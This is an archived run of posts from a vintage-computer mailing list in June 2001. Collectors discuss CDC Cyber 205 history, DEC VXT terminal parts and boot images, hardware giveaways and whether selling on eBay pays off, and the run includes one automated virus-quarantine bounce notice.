interested to go there and take photos of what remains. Thoughts? -dq From ernestls at home.com Tue Jun 12 09:09:52 2001 From: ernestls at home.com (Ernest) Date: Sun Feb 27 19:04:25 2005 Subject: Anyone interested in these? In-Reply-To: Message-ID: I forgot to give my email address. ernestls@home.com or ernestls@seattlelab.com -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Ernest Sent: Monday, June 11, 2001 10:16 PM To: classiccmp@classiccmp.org Subject: Anyone interested in these? Royal A60 Sharp yx 3500 Monroe OC 8820 Olivetti LI Kontron PSI 480 Pilara (or Pilana) 2000 AT&T 6300 plus (with the UNIX OS) Let me know if you're interested in making a trade. I'm always on the lookout for Apple II clones, like the Golden II, Orange, Pinapple, etc., and of course, a Luxor ABC-80. Ernest From uban at ubanproductions.com Tue Jun 12 09:49:45 2001 From: uban at ubanproductions.com (Tom Uban) Date: Sun Feb 27 19:04:25 2005 Subject: Looking for DEC VXT keyboard/mouse In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD3715112F@jeffserver.tegjeff. com> Message-ID: <3.0.5.32.20010612094945.0088a100@ubanproductions.com> Does anyone have a keyboard and mouse pair that would work with a DEC VXT series terminal that they would be willing to part with? --tnx --tom From allain at panix.com Tue Jun 12 09:58:09 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:25 2005 Subject: Cyber205 was RE: Ebay horror ... References: <7A9BACCEF0171D4FB77019F5104CDD3715112F@jeffserver.tegjeff.com> Message-ID: <002e01c0f350$18df6240$8a0101ac@ibm23xhr06> Anybody want to say a word or two about 205's? My recollection was that it was the first Seymour Cray machine, probably about 20+ MIPS, probably fixed/short electrical path, and probably rectangular (pre circular) shape. Anything right? John A. From mcguire at neurotica.com Tue Jun 12 10:24:27 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:25 2005 Subject: Cyber205 was RE: Ebay horror ... In-Reply-To: Re: Cyber205 was RE: Ebay horror ... (John Allain) References: <7A9BACCEF0171D4FB77019F5104CDD3715112F@jeffserver.tegjeff.com> <002e01c0f350$18df6240$8a0101ac@ibm23xhr06> Message-ID: <15142.13355.317060.333269@phaduka.neurotica.com> On June 12, John Allain wrote: > Anybody want to say a word or two about 205's? > My recollection was that it was the first Seymour Cray > machine, probably about 20+ MIPS, probably fixed/short > electrical path, and probably rectangular (pre circular) > shape. Anything right? Oh nonono. Seymour Cray was one of the founders of CDC in 1957. He was the primary architect of nearly all of their early machines, the first of which I believe was the 1604, introduced in 1958. Seymour Cray left CDC in 1972 to form Cray Research, the first product of which was the Cray 1 which shipped in 1976. About the Cyber 205...CDC started the design of the "Star 100" in the mid 1960s. It wasn't completed until 1973, and being based on 1960s technology, it wasn't competitive. It was redesigned in newer LSI technology and re-released as the "Cyber 203E" in 1979. Shortly thereafter it was renamed to "Cyber 205". But yes, it is rectangular. And big. I would give my right arm to be able to restore/preserve/own a functional Cyber205 (or any Cyber for that matter, anybody have a smaller one available?)...the one at Purdue seems to have been gutted, sigh. -Dave McGuire From healyzh at aracnet.com Tue Jun 12 10:27:02 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:04:25 2005 Subject: Looking for DEC VXT keyboard/mouse In-Reply-To: <3.0.5.32.20010612094945.0088a100@ubanproductions.com> References: <7A9BACCEF0171D4FB77019F5104CDD3715112F@jeffserver.tegjeff. com> Message-ID: >Does anyone have a keyboard and mouse pair that would work >with a DEC VXT series terminal that they would be willing >to part with? > >--tnx >--tom Won't a standard LK201 or LK401 and a Hockypuck work? Or do you need some funky adapter? Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From sipke at wxs.nl Tue Jun 12 10:33:01 2001 From: sipke at wxs.nl (Sipke de Wal) Date: Sun Feb 27 19:04:25 2005 Subject: Any Dutch/Belgium Collectors ? References: <5.0.2.1.0.20010612153216.00ab3cd0@145.218.23.191> Message-ID: <002e01c0f354$f896aac0$030101ac@boll.casema.net> Dunno.... Guess Not! Sipke de Wal Noordwijk The Netherlands --------------------------------------------------------- http://xgistor.ath.cx --------------------------------------------------------- ----- Original Message ----- From: Stefan To: Sent: Tuesday, June 12, 2001 3:33 PM Subject: Any Dutch/Belgium Collectors ? > Are there any Dutch or Belgium collectors here that I don't know yet ? > Just curious :) Think I know most of them, but hey, you never know ;) > > cya, > > Stefan. > From dhquebbeman at theestopinalgroup.com Tue Jun 12 10:43:36 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:25 2005 Subject: Cyber205 was RE: Ebay horror ... Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151135@jeffserver.tegjeff.com> > Anybody want to say a word or two about 205's? > My recollection was that it was the first Seymour Cray > machine, probably about 20+ MIPS, probably fixed/short > electrical path, and probably rectangular (pre circular) > shape. Anything right? It was *definitely* not the first Seymour Cray machine. It's generally considered that the 6600 was architected by Cray, with Jim Thornton doing much implemtation detail. But Thornton tends to be put behind Cray in this effort, and: > Cray does acknowledge Thornton's authority and work on the 6600 in the > forward to "Design of a Computer." And it's true that Thornton was > the machine, and the design's, biggest booster both with the book and > the numerous papers he authored. I just read it last night, but can't find the reference; but the Cyber 205 was the final evolution of the CDC 7600 machine. Its peripheral processors were true, individual processors, as opposed to the 6600's single multi-threaded PP (one processor with multiple contexts). More when I can find it or point to it... -dq From mcguire at neurotica.com Tue Jun 12 10:51:00 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:25 2005 Subject: Cyber205 was RE: Ebay horror ... In-Reply-To: RE: Cyber205 was RE: Ebay horror ... (Douglas Quebbeman) References: <7A9BACCEF0171D4FB77019F5104CDD37151135@jeffserver.tegjeff.com> Message-ID: <15142.14948.205077.744763@phaduka.neurotica.com> On June 12, Douglas Quebbeman wrote: > I just read it last night, but can't find the reference; > but the Cyber 205 was the final evolution of the CDC 7600 > machine. Its peripheral processors were true, individual > processors, as opposed to the 6600's single multi-threaded > PP (one processor with multiple contexts). I beg to differ here...The design of the 205 was based on the design of the Star 100, which predates even the 6600. I'm sure there was some cross-pollenation of ideas and such (being the same company and all) but they are different computers entirely. -Dave McGuire From dhquebbeman at theestopinalgroup.com Tue Jun 12 11:18:07 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:25 2005 Subject: Cyber205 was RE: Ebay horror ... Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151136@jeffserver.tegjeff.com> > About the Cyber 205...CDC started the design of the "Star 100" in > the mid 1960s. It wasn't completed until 1973, and being based on > 1960s technology, it wasn't competitive. It was redesigned in newer > LSI technology and re-released as the "Cyber 203E" in 1979. Shortly > thereafter it was renamed to "Cyber 205". This is correct, my previous post not (re the architecture). > But yes, it is rectangular. And big. I would give my right arm to > be able to restore/preserve/own a functional Cyber205 (or any Cyber > for that matter, anybody have a smaller one available?)...the one at > Purdue seems to have been gutted, sigh. Many of the later-model version of what was originally called the Cyber 170 series (it got renamed later) are still running and under support contract. It appears that, at least as recently as August 2000, a Cyber 170 driving the Early Warning Radar System at Cape Cod Air Force Station, known as "Pave Paws", was still in operation. Discussions were going on at that time w/r/t its replacement. This machine, sans media, disks, etc, might be a good candidate for a future rescue (since it's military, they may want to wipe the disks using hammers). -dq From fernande at internet1.net Tue Jun 12 11:21:11 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:25 2005 Subject: 2 FREE qbus boards References: <3B24833D.D4F7E900@internet1.net> Message-ID: <3B264177.2E7F068@internet1.net> Hello Again, The boards are spoken for, thanks for all the reponse. I may have some more free stuff to give away in the coming weeks, so stay tuned. I am really trying to sort things down. Chad Chad Fernandez wrote: > > Hello, > > Anybody want a KDF11-B (M8189), or a M7165 (1/2 of a 2 board set)? They > are yours for shipping. > > Chad Fernandez > Michigan, USA From dhquebbeman at theestopinalgroup.com Tue Jun 12 11:24:31 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:25 2005 Subject: Cyber205 was RE: Ebay horror ... Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151137@jeffserver.tegjeff.com> > On June 12, Douglas Quebbeman wrote: > > I just read it last night, but can't find the reference; > > but the Cyber 205 was the final evolution of the CDC 7600 > > machine. Its peripheral processors were true, individual > > processors, as opposed to the 6600's single multi-threaded > > PP (one processor with multiple contexts). > > I beg to differ here...The design of the 205 was based on the design > of the Star 100, which predates even the 6600. I'm sure there was > some cross-pollenation of ideas and such (being the same company and > all) but they are different computers entirely. My corrected ost will have arrived about 15 minutes before you see this reply... This mailing list is entirely too slow. I need to be able to post a correction to myself before everyone else does! ;-) From uban at ubanproductions.com Tue Jun 12 11:24:04 2001 From: uban at ubanproductions.com (Tom Uban) Date: Sun Feb 27 19:04:25 2005 Subject: Looking for DEC VXT keyboard/mouse In-Reply-To: References: <3.0.5.32.20010612094945.0088a100@ubanproductions.com> <7A9BACCEF0171D4FB77019F5104CDD3715112F@jeffserver.tegjeff. com> Message-ID: <3.0.5.32.20010612112404.007bcc10@ubanproductions.com> I am pretty sure that they will work. Do you have a spare pair? --tnx --tom At 08:27 AM 6/12/01 -0700, you wrote: >>Does anyone have a keyboard and mouse pair that would work >>with a DEC VXT series terminal that they would be willing >>to part with? >> >>--tnx >>--tom > >Won't a standard LK201 or LK401 and a Hockypuck work? Or do you need some >funky adapter? > > Zane >-- >| Zane H. Healy | UNIX Systems Administrator | >| healyzh@aracnet.com (primary) | OpenVMS Enthusiast | >| healyzh@holonet.net (alternate) | Classic Computer Collector | >+----------------------------------+----------------------------+ >| Empire of the Petal Throne and Traveller Role Playing, | >| and Zane's Computer Museum. | >| http://www.aracnet.com/~healyzh/ | > > From uban at ubanproductions.com Tue Jun 12 11:34:45 2001 From: uban at ubanproductions.com (Tom Uban) Date: Sun Feb 27 19:04:25 2005 Subject: VXT2000 images ? In-Reply-To: <15142.13355.317060.333269@phaduka.neurotica.com> References: <7A9BACCEF0171D4FB77019F5104CDD3715112F@jeffserver.tegjeff.com> <002e01c0f350$18df6240$8a0101ac@ibm23xhr06> Message-ID: <3.0.5.32.20010612113445.007b36c0@ubanproductions.com> I seem to recall seeing some information on this in the past, but I haven't been able to dredge any up. Does anyone know if a VXT2000 can be booted from a non-dec unix or windows box? Also, does anyone know where the binaries, etc can be found? --tnx --tom From rigdonj at intellistar.net Tue Jun 12 11:35:51 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:25 2005 Subject: Ebay horror ... In-Reply-To: <4.3.2.7.0.20010612085136.01dc9980@pc> References: <3B261867.13841B70@home.com> <5.1.0.14.1.20010612083657.00a16480@mailhost.intellistar.net> Message-ID: <5.1.0.14.1.20010612123140.00ac3a70@mailhost.intellistar.net> At 08:55 AM 6/12/01 -0500, John wrote: >At 09:25 AM 6/12/01 -0400, Craig Smith wrote: > > FINALLY! A voice of reason in this seemingly endless debate. > Well said > >Joe. If you add up the time spend digging stuff out of musty basements > >and barns, gas and wear & tear on vehicles driving hundreds of miles and > >time cleaning, testing, etc .... what little return you receive > >[even at eBay {gasp!} prices] is well deserved. > >Amen. If anyone is at all serious about making money to >pay for their time, I can't think of many substances you >can resell on eBay that would make it worthwhile. On the >other hand, it might be a good way to dispose of stuff >that comes along while you're doing something else. Exactly! I doubt anyone on this list makes a living by selling on E-bay. I do it to find homes for some of the more interesting stuff that I find but can't keep and to help pay the expenses of looking for the stuff. Even then I doubt that what I make from E-bay justifies the time and effort of listing, packing and shipping the stuff. Joe From jhellige at earthlink.net Tue Jun 12 11:41:41 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:25 2005 Subject: Old Labtam 3000 computer Message-ID: <01Jun12.124125edt.119041@gateway.mediacen.navy.mil> Here's an email I received today that someone here on the list might be interested in. He included a photograph, which I've not attached since it's being forwarded to everyone. Please reply to the original sender. Thanks Jeff ----------------------------------------------------------------- >Dear Sir, >I have >LABTAM series 3000 computer, and like to sale them. I think is very rare >because I havn't find nothing in the internet about computer an manufacturer. >It is made in Australia 1984 or 1985 y. by Labtam international Pty. Ltd. >TWO procesors ZX80 and Intel 8086 >Second terminal with color monitor and keyboard >1Mb. RAM >15 Mb. HDD >Two FDD (8" and 5,25") >O/S - CP/M; Cuncarent DOS; MS/DOS 2.22. >Special interface for getting signals from elektroencefalograf. >Printer >Full technical documentation >30 pcs of 8"disketes with software > >If you interested in buying them write to me. > >Jonas >jonas@omgema.lt From rigdonj at intellistar.net Tue Jun 12 11:41:42 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:25 2005 Subject: Cyber205 was RE: Ebay horror ... In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD37151136@jeffserver.tegjeff. com> Message-ID: <5.1.0.14.1.20010612124057.02363e80@mailhost.intellistar.net> At 12:18 PM 6/12/01 -0400, Doug wrote: >It appears that, at least as recently as August 2000, a Cyber >170 driving the Early Warning Radar System at Cape Cod Air >Force Station, known as "Pave Paws", was still in operation. > >Discussions were going on at that time w/r/t its replacement. > >This machine, sans media, disks, etc, might be a good candidate >for a future rescue (since it's military, they may want to >wipe the disks using hammers). Actually, they use acid. :-( Joe From edick at idcomm.com Tue Jun 12 11:53:53 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:25 2005 Subject: Ebay horror ... References: <3B261867.13841B70@home.com> <5.1.0.14.1.20010612083657.00a16480@mailhost.intellistar.net> <5.1.0.14.1.20010612123140.00ac3a70@mailhost.intellistar.net> Message-ID: <002901c0f360$435185c0$9cc762d8@idcomm.com> The fact is that we don't all have the same priorities. If I buy something, be it groceries or an old hunk of computer hardware, I have a plan for it at the time, but these plans sometimes go awry. Maybe I leave the milk in the trunk of the car overnight, or maybe I sell or give up on the system for which the oddity was destined. Afterward, I have to recover somehow. Whereas I've no use for either the now-spoiled milk or the old computer gadget, at least the computer hardware can be sold off, if need be, via eBay. Among collectors, it's hard finding someone to TAKE the stuff, while you get cash from eBay. It's a no-brainer! Dick ----- Original Message ----- From: "joe" To: Sent: Tuesday, June 12, 2001 10:35 AM Subject: Re: Ebay horror ... > At 08:55 AM 6/12/01 -0500, John wrote: > >At 09:25 AM 6/12/01 -0400, Craig Smith wrote: > > > FINALLY! A voice of reason in this seemingly endless debate. > > Well said > > >Joe. If you add up the time spend digging stuff out of musty basements > > >and barns, gas and wear & tear on vehicles driving hundreds of miles and > > >time cleaning, testing, etc .... what little return you receive > > >[even at eBay {gasp!} prices] is well deserved. > > > >Amen. If anyone is at all serious about making money to > >pay for their time, I can't think of many substances you > >can resell on eBay that would make it worthwhile. On the > >other hand, it might be a good way to dispose of stuff > >that comes along while you're doing something else. > > > Exactly! I doubt anyone on this list makes a living by selling on > E-bay. I do it to find homes for some of the more interesting stuff that I > find but can't keep and to help pay the expenses of looking for the > stuff. Even then I doubt that what I make from E-bay justifies the time > and effort of listing, packing and shipping the stuff. > > Joe > > From vcf at siconic.com Tue Jun 12 10:58:03 2001 From: vcf at siconic.com (Vintage Computer Festival) Date: Sun Feb 27 19:04:25 2005 Subject: Mac computers up for grabs in Cambridge, MA Message-ID: Here is someone offering Mac's & things in Cambridge, Mass. Please reply to the original sender. Reply-to: Baltimucho@aol.com ---------- Forwarded message ---------- Date: Tue, 12 Jun 2001 12:49:58 EDT From: Baltimucho@aol.com Subject: Computer donations Hi there, I've got some computers I'm trying to get rid of, let me know if you can help me out: Mac se/30 Mac se 2 Keyboards Mac Quadra 650 2 monitors Power cords I'm located at one camp street in Cambridge, Mass. I work at a management company called Fort Apache and we want to get rid of these items. Whatever you can do for me would be greatly appreciated. Thanx, Eric P.S.- if you need more information either email me back or call Ben at 617-868-2242 -- Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From edick at idcomm.com Tue Jun 12 11:57:48 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:25 2005 Subject: new source for ZILOG parts References: <001101c0f08c$d0ec2b00$8a0101ac@ibm23xhr06> from John Allain at "Jun 8, 1 10:35:11 pm" <3B26311A.14872.24E74BD0@localhost> Message-ID: <003701c0f360$cf577840$9cc762d8@idcomm.com> Hey! I've LONG had the problem that, once you let a computer into your house, they bring their relatives, and their friends, and eventually your house simply has a narrow path to the bathroom and kitchen, and, if you're lucky, to the bedroom, though that may be cluttered with literature ... the rest being filled with computer hardware. I also find I have about 500 diskettes, of which about 15 have labels, yet each one, when I suddenly decide I need a diskette, has something of potential value on it ... but no label. Dick ----- Original Message ----- From: "Hans Franke" To: Sent: Tuesday, June 12, 2001 7:11 AM Subject: Re: new source for ZILOG parts > > > > they are better than not getting your machine fixed. > > > Let's hear it! Everyone Spay or Neuter your old classic > > > or before you know you whole house will be overrun with > > > classiccmp's. > > > You mean, they mate?? My stars, man, what disfigured progeny would result > > if my Commodore 128 took an insatiable fancy to the PCjr? I won't tolerate > > such rabid immorality betwixt cohabiting systems! > > > (Besides, how could you tell which one is which gender? :-) > > Just check the plugs ... and in case, they are fast in useing > a gender bender for this purpose ... > > Gruss > H. > SCNR > > -- > VCF Europa 3.0 am 27./28. April 2002 in Muenchen > http://www.vcfe.org/ > > From support at star.co.uk Tue Jun 12 12:01:52 2001 From: support at star.co.uk (support@star.co.uk) Date: Sun Feb 27 19:04:25 2005 Subject: WARNING. You sent a potential virus or unauthorised code Message-ID: <20010612170152.16115.qmail@server-3.tower-17.messagelabs.com> The MessageLabs Virus Control Centre discovered a possible virus or unauthorised code (such as a joke program or trojan) in an email sent by you. Please read this whole email carefully. It explains what has happened to your email, which suspected virus has been caught, and what to do if you need help. ------------------------------------------------------------ Some details about the infected message ------------------------------------------------------------ To help identify the email: The message sender was owner-classiccmp@classiccmp.org jhellige@earthlink.net classiccmp@classiccmp.org (if this is not your email address, the message sender possibly belongs to a mailing list to which you both subscribe.) The message was titled 'Re: Old Labtam 3000 computer' The message date was Tue, 12 Jun 2001 12:41:41 -0400 The message identifier was <01Jun12.124125edt.119041@gateway.mediacen.navy.mil> The message recipients were Lee.Davison@merlincommunications.com To help identify the virus: Scanner 1 (Skeptic) reported the following: Skeptic searching for 20 viruses >>> Possible Virus 'Exchange/DoS-charset' found in '669143A_0.txt'. Heuristics score: 251 The message was diverted into the virus holding pen on mail server server-3.tower-17.messagelabs.com (id 669143_992365311) and will be held for 30 days before being destroyed. ------------------------------------------------------------ What should you do now? ------------------------------------------------------------ If you sent the email from a corporate network, you should first contact your local Helpdesk or System Administrator for advice. They will be able to help you disinfect your workstation. If you sent the email from a personal or home account, you will need to disinfect your computer yourself. To do this you will need an anti-virus program. We suggest using one of the leading industry anti-virus packages such as McAfee, F-Secure or Cybersoft, which cost £15-£30 per copy. ------------------------------------------------------------ Getting more help ------------------------------------------------------------ If you believe this message to be a false alarm or you require further assistance, you can email Star Internet Support at:- support@star.net.uk or contact Star Helpdesk by telephone on:- +44 (0) 1285 884433 Please quote the following Virus Pen ID when contacting Support. <<< mail server server-3.tower-17.messagelabs.com (id 669143_992365311) >>> If replying by email, please forward this entire email. _____________________________________________________________________ This message has been checked for all known viruses by Star Internet delivered through the MessageLabs Virus Scanning Service. For further information visit http://www.star.net.uk/stats.asp or alternatively call 01285 884400. From bill at cs.scranton.edu Tue Jun 12 12:11:44 2001 From: bill at cs.scranton.edu (Bill Gunshannon) Date: Sun Feb 27 19:04:25 2005 Subject: Another Auction Site In-Reply-To: <3B1D1B51.1D6980EB@rain.org> Message-ID: Being intimidated by the very thought of Ebay, I thought I would get my feet wet, so to speak, by offering some old Sun stuff on this recently mentioned web site. 5 days later I have had 3 hits on the one auction and no bids on either. Seemed like fun at the time, but I can see that my trepidation was not misplaced. It may be an acceptable medium for getting rid of those old baseball cards, but apparently not for real stuff. bill -- Bill Gunshannon | de-moc-ra-cy (di mok' ra see) n. Three wolves bill@cs.scranton.edu | and a sheep voting on what's for dinner. University of Scranton | Scranton, Pennsylvania | #include From jhellige at earthlink.net Tue Jun 12 12:15:58 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:25 2005 Subject: Cyber205 was RE: Ebay horror ... Message-ID: <01Jun12.131546edt.119041@gateway.mediacen.navy.mil> > But yes, it is rectangular. And big. I would give my right arm to >be able to restore/preserve/own a functional Cyber205 (or any Cyber >for that matter, anybody have a smaller one available?)...the one at >Purdue seems to have been gutted, sigh. At least a gutted one presents at least some sort of starting point on which to build and it it's the racks and panels you get, that's a bit better than starting off with nothing more than a single board or two. If it were a machine I wanted badly enough, it'd still be worth looking into even in that type of shape. There are certainly automotive and aircraft collectors that have started out with less and ended up with fully functional vehicles after spending enough time gathering the pieces. Jeff From bill at cs.scranton.edu Tue Jun 12 12:15:42 2001 From: bill at cs.scranton.edu (Bill Gunshannon) Date: Sun Feb 27 19:04:25 2005 Subject: 2 FREE qbus boards In-Reply-To: <20010611220139.28352.qmail@web9505.mail.yahoo.com> Message-ID: On Mon, 11 Jun 2001, Ethan Dicks wrote: > > --- Chad Fernandez wrote: > > Hello, > > > > Anybody want a KDF11-B (M8189), or a M7165 (1/2 of a 2 board set)? They > > are yours for shipping. > > Is that 1/2 of an RLV11? No, it's half of a KDA50. bill -- Bill Gunshannon | de-moc-ra-cy (di mok' ra see) n. Three wolves bill@cs.scranton.edu | and a sheep voting on what's for dinner. University of Scranton | Scranton, Pennsylvania | #include From mcguire at neurotica.com Tue Jun 12 12:17:28 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:25 2005 Subject: Ebay horror ... In-Reply-To: Re: Ebay horror ... (joe) References: <3B261867.13841B70@home.com> <5.1.0.14.1.20010612083657.00a16480@mailhost.intellistar.net> <5.1.0.14.1.20010612123140.00ac3a70@mailhost.intellistar.net> Message-ID: <15142.20136.475760.171158@phaduka.neurotica.com> On June 12, joe wrote: > Exactly! I doubt anyone on this list makes a living by selling on > E-bay. I have been for the past ~5 months. Not by choice, mind you...and certainly not forever...but it's certainly feasible. -Dave McGuire From mcguire at neurotica.com Tue Jun 12 12:22:07 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:25 2005 Subject: Cyber205 was RE: Ebay horror ... In-Reply-To: RE: Cyber205 was RE: Ebay horror ... (joe) References: <7A9BACCEF0171D4FB77019F5104CDD37151136@jeffserver.tegjeff. com> <5.1.0.14.1.20010612124057.02363e80@mailhost.intellistar.net> Message-ID: <15142.20415.644975.828935@phaduka.neurotica.com> On June 12, joe wrote: > >It appears that, at least as recently as August 2000, a Cyber > >170 driving the Early Warning Radar System at Cape Cod Air > >Force Station, known as "Pave Paws", was still in operation. > > > >Discussions were going on at that time w/r/t its replacement. > > > >This machine, sans media, disks, etc, might be a good candidate > >for a future rescue (since it's military, they may want to > >wipe the disks using hammers). > > Actually, they use acid. :-( Depends on the installation. I worked at a facility that burned them. Or tried to, anyway. -Dave McGuire From mcguire at neurotica.com Tue Jun 12 12:23:55 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:25 2005 Subject: Cyber205 was RE: Ebay horror ... In-Reply-To: Re: Cyber205 was RE: Ebay horror ... (Jeff Hellige) References: <01Jun12.131546edt.119041@gateway.mediacen.navy.mil> Message-ID: <15142.20523.56022.712066@phaduka.neurotica.com> On June 12, Jeff Hellige wrote: > > But yes, it is rectangular. And big. I would give my right arm to > >be able to restore/preserve/own a functional Cyber205 (or any Cyber > >for that matter, anybody have a smaller one available?)...the one at > >Purdue seems to have been gutted, sigh. > > At least a gutted one presents at least some sort of starting point on > which to build and it it's the racks and panels you get, that's a bit better > than starting off with nothing more than a single board or two. If it were > a machine I wanted badly enough, it'd still be worth looking into even in > that type of shape. There are certainly automotive and aircraft collectors > that have started out with less and ended up with fully functional vehicles > after spending enough time gathering the pieces. You make an excellent point here...but Cyber205s aren't exactly common enough to find parts lying around from time to time. :-/ -Dave McGuire From auke at muze.nl Tue Jun 12 12:36:46 2001 From: auke at muze.nl (Auke van Slooten) Date: Sun Feb 27 19:04:25 2005 Subject: VXT2000 images ? In-Reply-To: <3.0.5.32.20010612113445.007b36c0@ubanproductions.com> Message-ID: On Tue, 12 Jun 2001, Tom Uban wrote: > I seem to recall seeing some information on this in the past, but > I haven't been able to dredge any up. > > Does anyone know if a VXT2000 can be booted from a non-dec unix or > windows box? > > Also, does anyone know where the binaries, etc can be found? > > --tnx > --tom > Yes, you can boot it from any unix system. When booting it tries a variety of protocols, at least on is rarp with tftp followup, but it also tries lat. The x terminal management software is included on the freeware version of VMS which contains the binary boot images. You can still download it from compaq, I haven't got the url handy right now. However, I've not been able to decode it, I assume it's in vmsbackup format, but I haven't found a tool which will actually read it, so I might be wrong. However, I did find an image for it some time ago, it's a test version of the full fledged everything and the kitchen sink version of the boot image, including a terminal program and window manager. This requires quite a bit of memory to work. You can get it at: http://www.dnd.utwente.nl/~auke/VXT/VXT021K7.SYS regards, Auke van Slooten From rmeenaks at olf.com Tue Jun 12 12:37:42 2001 From: rmeenaks at olf.com (Ram Meenakshisundaram) Date: Sun Feb 27 19:04:25 2005 Subject: Please help me ID cards(32) References: <00b901c0eb89$7d915fa0$95c6d63f@headleys> Message-ID: <3B265366.2050109@olf.com> > > > 18) SANG COMPUTER SYSTEM GmbH. 16 bit dual FIFO AT interface. > MEGA-Link DMA. External 15-pin port > Hi, This can be one of two things: a TI C40 link interface card for the PCs or an Amiga Transputer link interface card. Since you mention it as an AT interface, it is probably a C40 link interface card. Some info on this card can be found on 3L's website at: http://www.iay.pwp.blueyonder.co.uk/threel/tech/c4x/technote/03710/03710.htm Ram From jfoust at threedee.com Tue Jun 12 12:40:16 2001 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 19:04:25 2005 Subject: eBay as career In-Reply-To: <15142.20136.475760.171158@phaduka.neurotica.com> References: <3B261867.13841B70@home.com> <5.1.0.14.1.20010612083657.00a16480@mailhost.intellistar.net> <5.1.0.14.1.20010612123140.00ac3a70@mailhost.intellistar.net> Message-ID: <4.3.2.7.0.20010612123915.01ef6160@pc> At 01:17 PM 6/12/01 -0400, Dave McGuire wrote: >On June 12, joe wrote: >> Exactly! I doubt anyone on this list makes a living by selling on >> E-bay. > > I have been for the past ~5 months. Not by choice, mind you...and >certainly not forever...but it's certainly feasible. Care to share how you've been doing this? What sort of items are you buying and selling? Do you think it's been profitable, if you consider the time per transaction? - John From marvin at rain.org Tue Jun 12 12:43:36 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:04:25 2005 Subject: Another Auction Site References: Message-ID: <3B2654C8.7ED42549@rain.org> Bill Gunshannon wrote: > > Being intimidated by the very thought of Ebay, I thought I would get > my feet wet, so to speak, by offering some old Sun stuff on this recently > mentioned web site. 5 days later I have had 3 hits on the one auction > and no bids on either. Seemed like fun at the time, but I can see that I am going to list a number of things there too: http://www.sellyouritem.com. Since they have only been up for a couple of weeks, it is not surprising that there are few hits. www.dtmagazine.com did an interview with SYI and it is supposed to be on the web page on Wednesday. BTW, the low hit count is why I suggested that listmembers put things there that are being offered. At least that way, the person who is not online most of the time is not put at a disadvantage. From dhquebbeman at theestopinalgroup.com Tue Jun 12 12:49:15 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:25 2005 Subject: Cyber205 was RE: Ebay horror ... Message-ID: <7A9BACCEF0171D4FB77019F5104CDD3715113B@jeffserver.tegjeff.com> > At 12:18 PM 6/12/01 -0400, Doug wrote: > > >It appears that, at least as recently as August 2000, a Cyber > >170 driving the Early Warning Radar System at Cape Cod Air > >Force Station, known as "Pave Paws", was still in operation. > > > >Discussions were going on at that time w/r/t its replacement. > > > >This machine, sans media, disks, etc, might be a good candidate > >for a future rescue (since it's military, they may want to > >wipe the disks using hammers). > > Actually, they use acid. :-( That doesn't destroy data, it just rearranges it... (yes, my favorite color is paisley). :-) From allain at panix.com Tue Jun 12 12:56:50 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:25 2005 Subject: Cyber205 was RE: Ebay horror ... References: <01Jun12.131546edt.119041@gateway.mediacen.navy.mil> Message-ID: <001f01c0f369$0eff4560$21fe54a6@ibm23xhr06> Just sorting through the answers now. I got started in comp in 1976, at 18 so tended to see the Cray-1 as the genesis machine of sorts. Thanks for all the info. It will take a while to read. (Traded embarrasemant for answers. It worked!) jea From pcw at mesanet.com Tue Jun 12 13:05:19 2001 From: pcw at mesanet.com (Peter C. Wallace) Date: Sun Feb 27 19:04:25 2005 Subject: Looking for DEC VXT keyboard/mouse In-Reply-To: <3.0.5.32.20010612094945.0088a100@ubanproductions.com> Message-ID: On Tue, 12 Jun 2001, Tom Uban wrote: > Does anyone have a keyboard and mouse pair that would work > with a DEC VXT series terminal that they would be willing > to part with? > > --tnx > --tom > > Thats a standard DEC KB (LK201/LK401) + DEC serial mouse (VSXXX-AA --> Hockey-puck or VSXXX-GA --> logitech looking thing) I have some but they would have to be picked up (SF bay area) Peter Wallace From mcguire at neurotica.com Tue Jun 12 13:03:28 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:26 2005 Subject: eBay as career In-Reply-To: eBay as career (John Foust) References: <3B261867.13841B70@home.com> <5.1.0.14.1.20010612083657.00a16480@mailhost.intellistar.net> <5.1.0.14.1.20010612123140.00ac3a70@mailhost.intellistar.net> <4.3.2.7.0.20010612123915.01ef6160@pc> Message-ID: 